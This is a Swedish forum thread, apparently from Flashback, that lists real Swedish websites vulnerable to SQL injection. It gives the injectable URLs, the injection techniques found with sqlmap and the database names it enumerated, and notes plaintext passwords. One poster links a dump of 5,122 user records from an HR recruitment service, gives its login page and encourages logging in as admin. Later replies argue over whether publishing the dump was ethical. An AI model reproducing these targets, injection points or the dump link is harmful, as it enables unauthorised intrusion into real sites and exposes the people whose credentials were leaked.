Samling av sidor med säkerhetsbrister - Del 2

http://www.magicmovies.se/singalong.asp?id=1&kat=film

MySQL UNION query (NULL) - 3 columns

• available databases [6]:
• adrina07
• awlog
• galleri
• gallery
• information_schema
• temp

Det finns en del funktioner som ser ut o vara admin-funktioner.
känns som att dom är ute o fiskar i grumligt vatten.

http://www.sportfiskegiganten.se/nyheter/arkiv/?ar=2014&man=09

MySQL >= 5.0 AND error-based

• available databases [9]:
• alumni
• alumni_jatiba_com
• Henric_gigant
• information_schema
• mastiff_jatiba_com
• mysql
• performance_schema
• sporting_se
• test

passwords i klartext

http://www.recepthjalpen.se/methods_by_cat.php?catID=1

MySQL UNION query (NULL) - 5 columns

• available databases [2]:
• information_schema
• recepthjalpen_se_db_1

Count of recepthjalpen_se_db_1.mf_user is 7382 och passwords i klartext

http://alphaspel.se/shop/cart.php/

Place: URI
Parameter: #1*
blind metod

• available databases [2]:
• alphaspel
• information_schema

http://www.jt.se/page.asp?id=2

MySQL UNION query (NULL) - 2 columns

• available databases [2]:
• information_schema
• wu100338

http://www.bikester.se/cykeldelar/pakethaallare.html?page=1

blind metod och enligt sqlmap 25 databas

Edit:
Detta är tydligen en tjänst som reryktrerar folk åt kommuner, skolor, mm! Logga in som admin och sätt dig själv som status "intressant" om du vill ha jobb




https://hrsupporten-se.loopiasecure.com/ad_container.php?jobid=8653

Notera "loopiasecure" i adressen, det gör det hela roligare.


5122 users, lösenord i klartext.

Dump: https://anonfiles.com/file/40317c488ba1328bb677bee0c5cb3f41

Script:

Ps till alla sqlmappare: SQLMap kör med blint metod, det behövs inte, allt går att få ut på normalt sätt manuellt.



PS, här loggar man in:
https://hrsupporten-se.loopiasecure.com/login_form.php?lang=1

Varför ska man göra det? Du har med detta inlägg förstört alla chanser till att utnyttja hållet. Förmodar att du får någon sorts kick av att skryta om hur duktig du är med att posta säkerhetshål och dumpar här, vilket givetvis förstör alla möjligheter till att på något sätt utnyttja hålet och dumpen till sin fördel.
Ta gärna och tänk över dina beslut i fortsättningen.

Om du har något emot FD så kan du gå någon annanstans.

Hur ska folk annars få vetskap om hålet?

Jag lägger inte ut länkar och dumpar här av anledning att folk ska kunna fuska sig till fördelar. Att ändra sina egna uppgifter var snarare ett skämt för att visa vad som är möjligt när ett sådant hål finns. Ser du inte ironin i att ett sådant viktigt system har så dålig säkerhet?

Ingen blir gladare än jag om jag förstört dina möjligheter till att fuska till dig fördelar på arbetsmarknaden.


Anledningen till den här tråden, som jag förstått det, är för att ge intresserade möjlighet att testa sina kunskaper inom webbsäkerhet. Om jag inte lägger ut dumpen får jag massa förfrågningar efter den eftersom folk vill fylla på sina wordlists för attacker mot andra sajter.